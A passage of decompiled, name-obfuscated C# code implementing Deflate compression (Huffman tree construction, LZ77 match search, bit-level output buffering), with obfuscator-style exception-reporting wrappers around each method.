            num3 += (int) this.\u0005.\u0001[index3] * (int) \u0014.\u001B.\u0013[index3];
          if (num2 >= num3)
            num2 = num3;
          if (obj1 >= 0 && obj2 + 4 < num2 >> 3)
            this.\u0096\u0002(obj0, obj1, obj2, obj3);
          else if (num2 == num3)
          {
            this.\u0003.\u0013\u0003(2 + (obj3 ? 1 : 0), 3);
            this.\u0004.\u009C\u0002(\u0014.\u001B.\u0010, \u0014.\u001B.\u0011);
            this.\u0005.\u009C\u0002(\u0014.\u001B.\u0012, \u0014.\u001B.\u0013);
            this.\u0095\u0002();
            this.\u0091\u0002();
          }
          else
          {
            this.\u0003.\u0013\u0003(4 + (obj3 ? 1 : 0), 3);
            this.\u0094\u0002(num1);
            this.\u0095\u0002();
            this.\u0091\u0002();
          }
        }
        catch (Exception ex)
        {
          object[] objArray = new object[12]
          {
            (object) num1,
            (object) index1,
            (object) num2,
            (object) num3,
            (object) index2,
            (object) index3,
            (object) numArray,
            (object) this,
            (object) obj0,
            (object) obj1,
            (object) obj2,
            (object) obj3
          };
          \u0089\u0004.\u0081\u0005(ex, objArray);
          throw;
        }
      }

      public bool \u0098\u0002()
      {
        try
        {
          return this.\u000E >= 16384;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public bool \u0099\u0002([In] int obj0)
      {
        int num1;
        short[] numArray1;
        IntPtr index1;
        try
        {
          this.\u0007[this.\u000E] = (short) 0;
          byte[] numArray2 = this.\u0008;
          num1 = this.\u000E++;
          int index2 = num1;
          int num2 = (int) (byte) obj0;
          numArray2[index2] = (byte) num2;
          (numArray1 = this.\u0004.\u0001)[(int) (index1 = (IntPtr) obj0)] = (short) ((int) numArray1[index1] + 1);
          return this.\u0098\u0002();
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          short[] numArray3 = numArray1;
          // ISSUE: variable of a boxed type
          __Boxed<IntPtr> local2 = (ValueType) index1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj0;
          \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) numArray3, (object) local2, (object) this, (object) local3);
          throw;
        }
      }

      public bool \u009A\u0002([In] int obj0, [In] int obj1)
      {
        int num1;
        int num2;
        short[] numArray1;
        IntPtr index1;
        int num3;
        try
        {
          this.\u0007[this.\u000E] = (short) obj0;
          byte[] numArray2 = this.\u0008;
          num1 = this.\u000E++;
          int index2 = num1;
          int num4 = (int) (byte) (obj1 - 3);
          numArray2[index2] = (byte) num4;
          num2 = this.\u0092\u0002(obj1 - 3);
          (numArray1 = this.\u0004.\u0001)[(int) (index1 = (IntPtr) num2)] = (short) ((int) numArray1[index1] + 1);
          if (num2 >= 265 && num2 < 285)
            this.\u000F += (num2 - 261) / 4;
          num3 = this.\u0093\u0002(obj0 - 1);
          (numArray1 = this.\u0005.\u0001)[(int) (index1 = (IntPtr) num3)] = (short) ((int) numArray1[index1] + 1);
          if (num3 >= 4)
            this.\u000F += num3 / 2 - 1;
          return this.\u0098\u0002();
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num1;
          short[] numArray3 = numArray1;
          // ISSUE: variable of a boxed type
          __Boxed<IntPtr> local4 = (ValueType) index1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local6 = (ValueType) obj1;
          \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) numArray3, (object) local4, (object) this, (object) local5, (object) local6);
          throw;
        }
      }

      public sealed class \u001C
      {
        public short[] \u0001;
        public byte[] \u0002;
        public int \u0003;
        public int \u0004;
        private short[] \u0005;
        private int[] \u0006;
        private int \u0007;
        private \u0014.\u001B \u0008;

        public \u001C([In] \u0014.\u001B obj0, [In] int obj1, [In] int obj2, [In] int obj3)
        {
          try
          {
            this.\u0008 = obj0;
            this.\u0003 = obj2;
            this.\u0007 = obj3;
            this.\u0001 = new short[(int) checked ((uint) obj1)];
            this.\u0006 = new int[(int) checked ((uint) obj3)];
          }
          catch (Exception ex)
          {
            \u0014.\u001B obj = obj0;
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) obj1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) obj2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local3 = (ValueType) obj3;
            \u0089\u0004.\u001C\u0005(ex, (object) this, (object) obj, (object) local1, (object) local2, (object) local3);
            throw;
          }
        }

        public void \u009B\u0002([In] int obj0)
        {
          try
          {
            this.\u0008.\u0003.\u0013\u0003((int) this.\u0005[obj0] & (int) ushort.MaxValue, (int) this.\u0002[obj0]);
          }
          catch (Exception ex)
          {
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) obj0;
            \u0089\u0004.\u0019\u0005(ex, (object) this, (object) local);
            throw;
          }
        }

        public void \u009C\u0002([In] short[] obj0, [In] byte[] obj1)
        {
          try
          {
            this.\u0005 = obj0;
            this.\u0002 = obj1;
          }
          catch (Exception ex)
          {
            short[] numArray1 = obj0;
            byte[] numArray2 = obj1;
            \u0089\u0004.\u001A\u0005(ex, (object) this, (object) numArray1, (object) numArray2);
            throw;
          }
        }

        public void \u009D\u0002()
        {
          int num1;
          int index1;
          int[] numArray1;
          int index2;
          int num2;
          int[] numArray2;
          IntPtr index3;
          try
          {
            int length = this.\u0001.Length;
            int[] numArray3 = new int[(int) checked ((uint) this.\u0007)];
            if (true)
              goto label_10;
label_1:
            num1 = 0;
            this.\u0005 = new short[(int) checked ((uint) this.\u0001.Length)];
            for (index1 = 0; index1 < this.\u0007; ++index1)
            {
              numArray1[index1] = num1;
              num1 += this.\u0006[index1] << 15 - index1;
            }
            for (index2 = 0; index2 < this.\u0004; ++index2)
            {
              num2 = (int) this.\u0002[index2];
              if (num2 > 0)
              {
                this.\u0005[index2] = \u0014.\u001B.\u0090\u0002(numArray1[num2 - 1]);
                (numArray2 = numArray1)[(int) (index3 = (IntPtr) (num2 - 1))] = numArray2[index3] + (1 << 16 - num2);
              }
            }
            return;
label_10:
            numArray1 = numArray3;
            goto label_1;
          }
          catch (Exception ex)
          {
            int[] numArray4 = numArray1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) index1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local3 = (ValueType) index2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local4 = (ValueType) num2;
            int[] numArray5 = numArray2;
            // ISSUE: variable of a boxed type
            __Boxed<IntPtr> local5 = (ValueType) index3;
            \u0089\u0004.\u001F\u0005(ex, (object) numArray4, (object) local1, (object) local2, (object) local3, (object) local4, (object) numArray5, (object) local5, (object) this);
            throw;
          }
        }

        private void \u009E\u0002([In] int[] obj0)
        {
          int length;
          int num1;
          int num2;
          int index1;
          int[] numArray1;
          int index2;
          int num3;
          int num4;
          int num5;
          int[] numArray2;
          IntPtr index3;
          int num6;
          int num7;
          int num8;
          int num9;
          int index4;
          try
          {
            this.\u0002 = new byte[(int) checked ((uint) this.\u0001.Length)];
            length = obj0.Length / 2;
            num1 = (length + 1) / 2;
            num2 = 0;
            for (index1 = 0; index1 < this.\u0007; ++index1)
              this.\u0006[index1] = 0;
            numArray1 = new int[(int) checked ((uint) length)];
            numArray1[length - 1] = 0;
            for (index2 = length - 1; index2 >= 0; --index2)
            {
              if (obj0[2 * index2 + 1] != -1)
              {
                num3 = numArray1[index2] + 1;
                if (num3 > this.\u0007)
                {
                  num3 = this.\u0007;
                  ++num2;
                }
                int[] numArray3 = numArray1;
                int index5 = obj0[2 * index2];
                numArray1[obj0[2 * index2 + 1]] = num4 = num3;
                int num10 = num4;
                numArray3[index5] = num10;
              }
              else
              {
                num5 = numArray1[index2];
                (numArray2 = this.\u0006)[(int) (index3 = (IntPtr) (num5 - 1))] = numArray2[index3] + 1;
                this.\u0002[obj0[2 * index2]] = (byte) numArray1[index2];
              }
            }
            if (num2 == 0)
              return;
            num6 = this.\u0007 - 1;
            do
            {
              do
                ;
              while (this.\u0006[--num6] == 0);
              do
              {
                (numArray2 = this.\u0006)[(int) (index3 = (IntPtr) num6)] = numArray2[index3] - 1;
                int[] numArray4;
                numArray2 = numArray4 = this.\u0006;
                int index6;
                num6 = index6 = num6 + 1;
                index3 = (IntPtr) index6;
                int num11 = numArray2[index3] + 1;
                numArray4[index6] = num11;
                num2 -= 1 << this.\u0007 - 1 - num6;
              }
              while (num2 > 0 && num6 < this.\u0007 - 1);
            }
            while (num2 > 0);
            (numArray2 = this.\u0006)[(int) (index3 = (IntPtr) (this.\u0007 - 1))] = numArray2[index3] + num2;
            (numArray2 = this.\u0006)[(int) (index3 = (IntPtr) (this.\u0007 - 2))] = numArray2[index3] - num2;
            num7 = 2 * num1;
            for (num8 = this.\u0007; num8 != 0; --num8)
            {
              num9 = this.\u0006[num8 - 1];
              while (num9 > 0)
              {
                index4 = 2 * obj0[num7++];
                if (obj0[index4 + 1] == -1)
                {
                  this.\u0002[obj0[index4]] = (byte) num8;
                  --num9;
                }
              }
            }
          }
          catch (Exception ex)
          {
            object[] objArray = new object[18]
            {
              (object) length,
              (object) num1,
              (object) num2,
              (object) index1,
              (object) numArray1,
              (object) index2,
              (object) num3,
              (object) num5,
              (object) num6,
              (object) num7,
              (object) num8,
              (object) num9,
              (object) index4,
              (object) num4,
              (object) numArray2,
              (object) index3,
              (object) this,
              (object) obj0
            };
            \u0089\u0004.\u0081\u0005(ex, objArray);
            throw;
          }
        }

        public void \u0088\u0002()
        {
          int[] numArray1;
          int num1;
          int num2;
          int index1;
          int num3;
          int index2;
          int index3;
          int length;
          int num4;
          int num5;
          int[] numArray2;
          int[] numArray3;
          int num6;
          int index4;
          int index5;
          int index6;
          int index7;
          int index8;
          int index9;
          int num7;
          int index10;
          int num8;
          try
          {
            length = this.\u0001.Length;
            numArray1 = new int[(int) checked ((uint) length)];
            num1 = 0;
            num2 = 0;
            for (index1 = 0; index1 < length; ++index1)
            {
              num3 = (int) this.\u0001[index1];
              if (num3 != 0)
              {
                for (index2 = num1++; index2 > 0 && (int) this.\u0001[numArray1[index3 = (index2 - 1) / 2]] > num3; index2 = index3)
                  numArray1[index2] = numArray1[index3];
                numArray1[index2] = index1;
                num2 = index1;
              }
            }
            for (; num1 < 2; numArray1[num1++] = num4)
            {
              int num9;
              if (num2 >= 2)
                num9 = 0;
              else
                num2 = num9 = num2 + 1;
              num4 = num9;
            }
            this.\u0004 = Math.Max(num2 + 1, this.\u0003);
            num5 = num1;
            numArray2 = new int[(int) checked ((uint) unchecked (4 * num1 - 2))];
            numArray3 = new int[(int) checked ((uint) unchecked (2 * num1 - 1))];
            num6 = num5;
            for (index4 = 0; index4 < num1; ++index4)
            {
              index5 = numArray1[index4];
              numArray2[2 * index4] = index5;
              numArray2[2 * index4 + 1] = -1;
              numArray3[index4] = (int) this.\u0001[index5] << 8;
              numArray1[index4] = index4;
            }
            do
            {
              index6 = numArray1[0];
              index7 = numArray1[--num1];
              index8 = 0;
              for (index9 = 1; index9 < num1; index9 = index9 * 2 + 1)
              {
                if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]])
                  ++index9;
                numArray1[index8] = numArray1[index9];
                index8 = index9;
              }
              num7 = numArray3[index7];
              while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7)
                numArray1[index9] = numArray1[index8];
              numArray1[index9] = index7;
              index10 = numArray1[0];
              index7 = num6++;
              numArray2[2 * index7] = index6;
              numArray2[2 * index7 + 1] = index10;
              num8 = Math.Min(numArray3[index6] & (int) byte.MaxValue, numArray3[index10] & (int) byte.MaxValue);
              numArray3[index7] = num7 = numArray3[index6] + numArray3[index10] - num8 + 1;
              index8 = 0;
              for (index9 = 1; index9 < num1; index9 = index8 * 2 + 1)
              {
                if (index9 + 1 < num1 && numArray3[numArray1[index9]] > numArray3[numArray1[index9 + 1]])
                  ++index9;
                numArray1[index8] = numArray1[index9];
                index8 = index9;
              }
              while ((index9 = index8) > 0 && numArray3[numArray1[index8 = (index9 - 1) / 2]] > num7)
                numArray1[index9] = numArray1[index8];
              numArray1[index9] = index7;
            }
            while (num1 > 1);
            this.\u009E\u0002(numArray2);
          }
          catch (Exception ex)
          {
            object[] objArray = new object[23]
            {
              (object) length,
              (object) numArray1,
              (object) num1,
              (object) num2,
              (object) index1,
              (object) num3,
              (object) index2,
              (object) index3,
              (object) num4,
              (object) num5,
              (object) numArray2,
              (object) numArray3,
              (object) num6,
              (object) index4,
              (object) index5,
              (object) index6,
              (object) index7,
              (object) index8,
              (object) index9,
              (object) num7,
              (object) index10,
              (object) num8,
              (object) this
            };
            \u0089\u0004.\u0081\u0005(ex, objArray);
            throw;
          }
        }

        public int \u009F\u0002()
        {
          int index;
          int num;
          try
          {
            num = 0;
            for (index = 0; index < this.\u0001.Length; ++index)
              num += (int) this.\u0001[index] * (int) this.\u0002[index];
            return num;
          }
          catch (Exception ex)
          {
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) index;
            \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) local2, (object) this);
            throw;
          }
        }

        public void \u0001\u0003([In] \u0014.\u001B.\u001C obj0)
        {
          int index1;
          int num1;
          int num2;
          int num3;
          int num4;
          short[] numArray1;
          IntPtr index2;
          int num5;
          try
          {
            num4 = -1;
            if (true)
              goto label_17;
label_15:
            while (index1 < this.\u0004)
            {
              num5 = 1;
              num1 = (int) this.\u0002[index1];
              if (num1 == 0)
              {
                num2 = 138;
                num3 = 3;
              }
              else
              {
                num2 = 6;
                num3 = 3;
                if (num4 != num1)
                {
                  (numArray1 = obj0.\u0001)[(int) (index2 = (IntPtr) num1)] = (short) ((int) numArray1[index2] + 1);
                  num5 = 0;
                }
              }
              num4 = num1;
              ++index1;
              while (index1 < this.\u0004 && num4 == (int) this.\u0002[index1])
              {
                ++index1;
                if (++num5 >= num2)
                  break;
              }
              if (num5 < num3)
                (numArray1 = obj0.\u0001)[(int) (index2 = (IntPtr) num4)] = (short) ((int) numArray1[index2] + (int) (short) num5);
              else if (num4 != 0)
                (numArray1 = obj0.\u0001)[16] = (short) ((int) numArray1[16] + 1);
              else if (num5 <= 10)
                (numArray1 = obj0.\u0001)[17] = (short) ((int) numArray1[17] + 1);
              else
                (numArray1 = obj0.\u0001)[18] = (short) ((int) numArray1[18] + 1);
            }
            return;
label_17:
            index1 = 0;
            goto label_15;
          }
          catch (Exception ex)
          {
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) num3;
            // ISSUE: variable of a boxed type
            __Boxed<int> local3 = (ValueType) num5;
            // ISSUE: variable of a boxed type
            __Boxed<int> local4 = (ValueType) num4;
            // ISSUE: variable of a boxed type
            __Boxed<int> local5 = (ValueType) index1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local6 = (ValueType) num1;
            short[] numArray2 = numArray1;
            // ISSUE: variable of a boxed type
            __Boxed<IntPtr> local7 = (ValueType) index2;
            \u0014.\u001B.\u001C obj = obj0;
            \u0089\u0004.\u0080\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) numArray2, (object) local7, (object) this, (object) obj);
            throw;
          }
        }

        public void \u0002\u0003([In] \u0014.\u001B.\u001C obj0)
        {
          int index;
          int num1;
          int num2;
          int num3;
          int num4;
          int num5;
          try
          {
            num4 = -1;
            index = 0;
            while (index < this.\u0004)
            {
              num5 = 1;
              num1 = (int) this.\u0002[index];
              if (num1 == 0)
              {
                num2 = 138;
                num3 = 3;
              }
              else
              {
                num2 = 6;
                num3 = 3;
                if (num4 != num1)
                {
                  obj0.\u009B\u0002(num1);
                  num5 = 0;
                }
              }
              num4 = num1;
              ++index;
              while (index < this.\u0004 && num4 == (int) this.\u0002[index])
              {
                ++index;
                if (++num5 >= num2)
                  break;
              }
              if (num5 < num3)
              {
                while (num5-- > 0)
                  obj0.\u009B\u0002(num4);
              }
              else if (num4 != 0)
              {
                obj0.\u009B\u0002(16);
                this.\u0008.\u0003.\u0013\u0003(num5 - 3, 2);
              }
              else if (num5 <= 10)
              {
                obj0.\u009B\u0002(17);
                this.\u0008.\u0003.\u0013\u0003(num5 - 3, 3);
              }
              else
              {
                obj0.\u009B\u0002(18);
                this.\u0008.\u0003.\u0013\u0003(num5 - 11, 7);
              }
            }
          }
          catch (Exception ex)
          {
            // ISSUE: variable of a boxed type
            __Boxed<int> local1 = (ValueType) num2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local2 = (ValueType) num3;
            // ISSUE: variable of a boxed type
            __Boxed<int> local3 = (ValueType) num5;
            // ISSUE: variable of a boxed type
            __Boxed<int> local4 = (ValueType) num4;
            // ISSUE: variable of a boxed type
            __Boxed<int> local5 = (ValueType) index;
            // ISSUE: variable of a boxed type
            __Boxed<int> local6 = (ValueType) num1;
            \u0014.\u001B.\u001C obj = obj0;
            \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this, (object) obj);
            throw;
          }
        }
      }
    }

    internal sealed class \u001D
    {
      private int \u0001;
      private short[] \u0002;
      private short[] \u0003;
      private int \u0004;
      private int \u0005;
      private bool \u0006;
      private int \u0007;
      private int \u0008;
      private int \u000E;
      private byte[] \u000F;
      private byte[] \u0010;
      private int \u0011;
      private int \u0012;
      private int \u0013;
      private \u0014.\u001E \u0014;
      private \u0014.\u001B \u0015;

      public \u001D([In] \u0014.\u001E obj0)
      {
        int num;
        try
        {
          this.\u0014 = obj0;
          this.\u0015 = new \u0014.\u001B(obj0);
          this.\u000F = new byte[65536];
          this.\u0002 = new short[32768];
          this.\u0003 = new short[32768];
          this.\u0008 = num = 1;
          this.\u0007 = num;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num;
          \u0014.\u001E obj = obj0;
          \u0089\u0004.\u001A\u0005(ex, (object) local, (object) this, (object) obj);
          throw;
        }
      }

      private void \u0003\u0003()
      {
        try
        {
          this.\u0001 = (int) this.\u000F[this.\u0008] << 5 ^ (int) this.\u000F[this.\u0008 + 1];
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      private int \u0004\u0003()
      {
        int index;
        short num;
        try
        {
          index = (this.\u0001 << 5 ^ (int) this.\u000F[this.\u0008 + 2]) & (int) short.MaxValue;
          this.\u0003[this.\u0008 & (int) short.MaxValue] = num = this.\u0002[index];
          this.\u0002[index] = (short) this.\u0008;
          this.\u0001 = index;
          return (int) num & (int) ushort.MaxValue;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<short> local1 = (ValueType) num;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) index;
          \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) local2, (object) this);
          throw;
        }
      }

      private void \u0005\u0003()
      {
        int index1;
        int num1;
        int index2;
        int num2;
        try
        {
          Array.Copy((Array) this.\u000F, 32768, (Array) this.\u000F, 0, 32768);
          this.\u0004 -= 32768;
          this.\u0008 -= 32768;
          this.\u0007 -= 32768;
          for (index1 = 0; index1 < 32768; ++index1)
          {
            num1 = (int) this.\u0002[index1] & (int) ushort.MaxValue;
            this.\u0002[index1] = num1 >= 32768 ? (short) (num1 - 32768) : (short) 0;
          }
          for (index2 = 0; index2 < 32768; ++index2)
          {
            num2 = (int) this.\u0003[index2] & (int) ushort.MaxValue;
            this.\u0003[index2] = num2 >= 32768 ? (short) (num2 - 32768) : (short) 0;
          }
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) index1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) index2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num2;
          \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this);
          throw;
        }
      }

      public void \u0006\u0003()
      {
        int length;
        try
        {
          if (this.\u0008 >= 65274)
            goto label_8;
label_4:
          for (; this.\u000E < 262 && this.\u0012 < this.\u0013; this.\u000E += length)
          {
            length = 65536 - this.\u000E - this.\u0008;
            if (length > this.\u0013 - this.\u0012)
              length = this.\u0013 - this.\u0012;
            Array.Copy((Array) this.\u0010, this.\u0012, (Array) this.\u000F, this.\u0008 + this.\u000E, length);
            this.\u0012 += length;
            this.\u0011 += length;
          }
          if (this.\u000E < 3)
            return;
          this.\u0003\u0003();
          return;
label_8:
          this.\u0005\u0003();
          goto label_4;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) length;
          \u0089\u0004.\u0019\u0005(ex, (object) local, (object) this);
          throw;
        }
      }

      private bool \u0007\u0003([In] int obj0)
      {
        short[] numArray;
        int index1;
        int index2;
        int val1;
        int num1;
        int num2;
        byte num3;
        byte num4;
        int num5;
        int num6;
        int num7;
        try
        {
          num5 = 128;
          num6 = 128;
          numArray = this.\u0003;
          index1 = this.\u0008;
          index2 = this.\u0008 + this.\u0005;
          val1 = Math.Max(this.\u0005, 2);
          num1 = Math.Max(this.\u0008 - 32506, 0);
          num2 = this.\u0008 + 258 - 1;
          num3 = this.\u000F[index2 - 1];
          num4 = this.\u000F[index2];
          if (val1 >= 8)
            num5 >>= 2;
          if (num6 > this.\u000E)
            num6 = this.\u000E;
          do
          {
            if ((int) this.\u000F[obj0 + val1] == (int) num4 && (int) this.\u000F[obj0 + val1 - 1] == (int) num3 && (int) this.\u000F[obj0] == (int) this.\u000F[index1] && (int) this.\u000F[obj0 + 1] == (int) this.\u000F[index1 + 1])
            {
              num7 = obj0 + 2;
              index1 += 2;
              do
                ;
              while ((int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && (int) this.\u000F[++index1] == (int) this.\u000F[++num7] && index1 < num2);
              if (index1 > index2)
              {
                this.\u0004 = obj0;
                index2 = index1;
                val1 = index1 - this.\u0008;
                if (val1 < num6)
                {
                  num3 = this.\u000F[index2 - 1];
                  num4 = this.\u000F[index2];
                }
                else
                  break;
              }
              index1 = this.\u0008;
            }
          }
          while ((obj0 = (int) numArray[obj0 & (int) short.MaxValue] & (int) ushort.MaxValue) > num1 && --num5 != 0);
          this.\u0005 = Math.Min(val1, this.\u000E);
          return this.\u0005 >= 3;
        }
        catch (Exception ex)
        {
          object[] objArray = new object[13]
          {
            (object) num5,
            (object) num6,
            (object) numArray,
            (object) index1,
            (object) num7,
            (object) index2,
            (object) val1,
            (object) num1,
            (object) num2,
            (object) num3,
            (object) num4,
            (object) this,
            (object) obj0
          };
          \u0089\u0004.\u0081\u0005(ex, objArray);
          throw;
        }
      }

      private bool \u0008\u0003([In] bool obj0, [In] bool obj1)
      {
        int num1;
        int num2;
        int num3;
        int num4;
        bool flag;
        try
        {
          if (this.\u000E < 262 && !obj0)
            return false;
          while (this.\u000E >= 262 || obj0)
          {
            if (this.\u000E == 0)
            {
              if (this.\u0006)
                this.\u0015.\u0099\u0002((int) this.\u000F[this.\u0008 - 1] & (int) byte.MaxValue);
              this.\u0006 = false;
              this.\u0015.\u0097\u0002(this.\u000F, this.\u0007, this.\u0008 - this.\u0007, obj1);
              this.\u0007 = this.\u0008;
              return false;
            }
            if (this.\u0008 >= 65274)
              this.\u0005\u0003();
            num1 = this.\u0004;
            num2 = this.\u0005;
            if (this.\u000E >= 3)
            {
              num3 = this.\u0004\u0003();
              if (num3 != 0 && this.\u0008 - num3 <= 32506 && this.\u0007\u0003(num3) && this.\u0005 <= 5 && this.\u0005 == 3 && this.\u0008 - this.\u0004 > 4096)
                this.\u0005 = 2;
            }
            if (num2 >= 3 && this.\u0005 <= num2)
            {
              this.\u0015.\u009A\u0002(this.\u0008 - 1 - num1, num2);
              num2 -= 2;
              do
              {
                ++this.\u0008;
                --this.\u000E;
                if (this.\u000E >= 3)
                  this.\u0004\u0003();
              }
              while (--num2 > 0);
              ++this.\u0008;
              --this.\u000E;
              this.\u0006 = false;
              this.\u0005 = 2;
            }
            else
            {
              if (this.\u0006)
                this.\u0015.\u0099\u0002((int) this.\u000F[this.\u0008 - 1] & (int) byte.MaxValue);
              this.\u0006 = true;
              ++this.\u0008;
              --this.\u000E;
            }
            if (this.\u0015.\u0098\u0002())
            {
              num4 = this.\u0008 - this.\u0007;
              if (this.\u0006)
                --num4;
              flag = obj1 && this.\u000E == 0 && !this.\u0006;
              this.\u0015.\u0097\u0002(this.\u000F, this.\u0007, num4, flag);
              this.\u0007 += num4;
              return !flag;
            }
          }
          return true;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local5 = (ValueType) flag;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local6 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local7 = (ValueType) obj1;
          \u0089\u0004.\u001F\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this, (object) local6, (object) local7);
          throw;
        }
      }

      public bool \u008F\u0002([In] bool obj0, [In] bool obj1)
      {
        bool flag1;
        bool flag2;
        try
        {
          do
          {
            this.\u0006\u0003();
            flag1 = obj0 && this.\u0012 == this.\u0013;
            flag2 = this.\u0008\u0003(flag1, obj1);
          }
          while (this.\u0014.\u0014\u0003() && flag2);
          return flag2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<bool> local1 = (ValueType) flag2;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local2 = (ValueType) flag1;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local3 = (ValueType) obj0;
          // ISSUE: variable of a boxed type
          __Boxed<bool> local4 = (ValueType) obj1;
          \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) this, (object) local3, (object) local4);
          throw;
        }
      }

      public void \u001F\u0002([In] byte[] obj0)
      {
        try
        {
          this.\u0010 = obj0;
          this.\u0012 = 0;
          this.\u0013 = obj0.Length;
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray);
          throw;
        }
      }

      public bool \u000E\u0003()
      {
        try
        {
          return this.\u0013 == this.\u0012;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }
    }

    internal sealed class \u001E
    {
      protected byte[] \u0001 = new byte[65536];
      private int \u0002 = 0;
      private int \u0003 = 0;
      private uint \u0004 = 0;
      private int \u0005 = 0;

      public void \u000F\u0003([In] int obj0)
      {
        int num1;
        try
        {
          byte[] numArray1 = this.\u0001;
          \u0014.\u001E obj = this;
          int num2;
          num1 = num2 = obj.\u0003;
          obj.\u0003 = num2 + 1;
          int index1 = num1;
          int num3 = (int) (byte) obj0;
          numArray1[index1] = (byte) num3;
          byte[] numArray2 = this.\u0001;
          num1 = this.\u0003++;
          int index2 = num1;
          int num4 = (int) (byte) (obj0 >> 8);
          numArray2[index2] = (byte) num4;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2);
          throw;
        }
      }

      public void \u0010\u0003([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        try
        {
          Array.Copy((Array) obj0, obj1, (Array) this.\u0001, this.\u0003, obj2);
          this.\u0003 += obj2;
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj2;
          \u0089\u0004.\u001B\u0005(ex, (object) this, (object) numArray, (object) local1, (object) local2);
          throw;
        }
      }

      [SpecialName]
      public int \u0011\u0003()
      {
        try
        {
          return this.\u0005;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public void \u0012\u0003()
      {
        int num1;
        try
        {
          if (this.\u0005 > 0)
            goto label_3;
label_2:
          this.\u0004 = 0U;
          this.\u0005 = 0;
          return;
label_3:
          byte[] numArray1 = this.\u0001;
          num1 = this.\u0003++;
          int index1 = num1;
          int num2 = (int) (byte) this.\u0004;
          numArray1[index1] = (byte) num2;
          if (this.\u0005 > 8)
          {
            byte[] numArray2 = this.\u0001;
